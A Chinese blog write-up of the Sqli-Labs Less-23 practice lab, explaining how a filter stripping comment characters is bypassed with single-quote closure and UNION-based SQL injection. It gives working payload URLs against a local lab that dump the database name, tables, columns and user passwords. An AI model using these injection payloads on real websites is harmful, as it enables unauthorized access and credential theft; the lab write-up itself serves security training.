Sqli-Labs:Less 23

基于错误_GET_过滤注释_单引号_字符型注入

Page 2 的高级关主要是各种过滤与限制条件,又回到了GET很是亲切。

0x01. 判断注入类型

http://localhost:8088/sqlilabs/Less-23/?id=1'

可以看出是单引号闭合的查询,这里报错还把站点路径爆出来了。

0x02. PHP 语法

preg_replace() 函数

preg_replace(pattern,replacement,subject[,limit=-1[,&count]])

参数 描述
pattern 要搜索的模式,可以是字符串或一个字符串数组
replacement 用于替换的字符串或字符串数组
subject 要搜索替换的目标字符串或字符串数组
limit 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。 默认是-1(无限制)
count 可选,为替换执行的次数

preg_replace()函数执行一个正则表达式的搜索和替换,搜索subject中匹配pattern的部分, 以replacement进行替换。

如果subject是一个数组,preg_replace()返回一个数组,其他情况下返回一个字符串。
如果匹配被查找到,替换后的subject被返回,其他情况下返回没有改变的subject。如果发生错误,返回NULL

在这关中,也只是将#--替换成了空字符

0x03. 过滤绕过

http://localhost:8088/sqlilabs/Less-23/?id=1' order by 4--+
http://localhost:8088/sqlilabs/Less-23/?id=1' order by 4#
http://localhost:8088/sqlilabs/Less-23/?id=1' order by 4%23

判断字段数时问题来了:尝试两种注释方式发现报错回显中LIMIT语句仍在起作用,注释没有起作用,即使把#URL编码为%23仍被过滤。

这时就要分析 SQL 语句找到绕过注入的方式,后台的查询语句是这样的:

SELECT * FROM table_name WHERE id='$id' LIMIT 0,1

注入点在id处,我们要判断字段数用的是order by子句,同时闭合第二个单引号:

SELECT * FROM table_name WHERE id='1' order by 4 and '1'='1' LIMIT 0,1

本意是能从报错信息判断查询返回表共有几个字段,但是回显很正常:

在 MySQL 中分别查询两个顺序不同的语句,结果如下:

很是不解,思考后猜测:

whereorder by是子句,and是操作符,用于where子句。
在MySQL的执行顺序中,where是远在order by前面的。

在第一个查询语句中,id='1' and '1'='1'作为where的条件,先被执行,得到结果集;然后是order by,因结果集中无第四个字段所以报错。

在第二个查询语句中,order bywhere的条件中,在where执行时被忽略了,结果集生成后并未再执行order by

给出一个参考:MySQL 解析顺序

所以这关不能用order by来判断字段数,而要用union

SELECT * FROM table_name WHERE id='1' union select 1,2,3,4 or '1'='1' LIMIT 0,1

这里的or作为了联合查询第二个语句的条件而不是第一个语句where的条件。

http://localhost:8088/sqlilabs/Less-23/?id=1' union select 1,2,3,4 or '1'='1

select加到4时报错,得出共3个字段。

注入时闭合查询语句即绕过过滤如下:

SELECT * FROM table_name WHERE id='-1' union [select c_1,c_2,(c_3] or '1'='1') LIMIT 0,1

这里id等于-1在 Less 1 中解释过,使原查询左边为空,使我们定义的查询结果返回。

注意:这里的or '1'='1'是作为column_3的操作符,因其为永真条件,在column_3回显处会显示1,所以不能在column_3处注入。

http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,3,4 or '1'='1

所以唯一的回显字段便是usernamecolumn_2,这也是唯一的注入点。

0x04. 注入过程

步骤1:数据库名

http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,database(),4 or '1'='1

步骤2:表名

http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,(select group_concat(table_name) from information_schema.tables where table_schema='security'),4 or '1'='1

注意:因为这里涉及到whereor语句的混合,只能用双注入CONCAT子查询

步骤3:字段名

http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),4 or '1'='1

步骤4:数据

http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 2,(select group_concat(concat_ws('-',id,username,password)) from users),4 or '1'='1

注:其实不一定要用or '1'='1来闭合,也可以直接用column_3闭合:

http://localhost:8088/sqlilabs/Less-23/?id=-1' union select 1,(select group_concat(concat_ws('-',id,username,password)) from users),'3

0x05. 吐槽

想要学好还得精通 MySQL 和 PHP 才行啊。

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 212,686评论 6 492
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 90,668评论 3 385
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 158,160评论 0 348
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 56,736评论 1 284
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 65,847评论 6 386
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 50,043评论 1 291
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 39,129评论 3 410
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 37,872评论 0 268
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 44,318评论 1 303
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 36,645评论 2 327
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 38,777评论 1 341
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 34,470评论 4 333
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 40,126评论 3 317
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,861评论 0 21
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 32,095评论 1 267
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 46,589评论 2 362
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 43,687评论 2 351

推荐阅读更多精彩内容